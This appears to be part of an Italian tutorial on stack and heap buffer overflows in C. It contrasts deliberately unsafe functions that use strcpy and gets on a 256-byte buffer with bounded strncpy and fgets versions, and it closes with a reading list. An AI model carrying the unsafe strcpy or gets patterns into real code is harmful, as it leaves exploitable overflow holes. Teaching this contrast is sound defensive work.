Commenti
Instead of...
void func(char *str) {
char buffer[256];
strcpy(buffer, str);
return; }
//E' possibile sostituire questa funzione con:
void func(char *str) {
char buffer[256];
strncpy(buffer, str, sizeof(buffer) -1);
buffer[sizeof(buffer) - 1] = 0;
return; }
//cosi' e' corretta ed evita errori
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Instead of...
void func(char *str) {
char buffer[256];
gets(buffer);
return; }
//non corretto
void func(char *str) {
char buffer[256];
fgets(buffer, sizeof(buffer) - 1, stdin);
return; }
questi sono solo semplici esempi di come e' possibile con un po' di
attenzione evitare danni!
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap
Il malsano mondo della della "finta" programmazione
Errori di superamento dei limiti (traduzione non mia!!)
Sfruttiamo quello che abbiamo imparato
Commenti
Bibliografia e Links
1
Herbert Schildt, C - la guida completa
2
Aleph1, Smashing the stack for fun and profit
3
Richard W. Stevens, Unix - Sviluppo del software di networking
4
http://community.core-sdi.com/~gera/InsecureProgramming/
5
http://www.0xdeadbeef.info
msn e mail : Birdack [AT] gmail [DOT] com
How to have a fun with Stack and Heap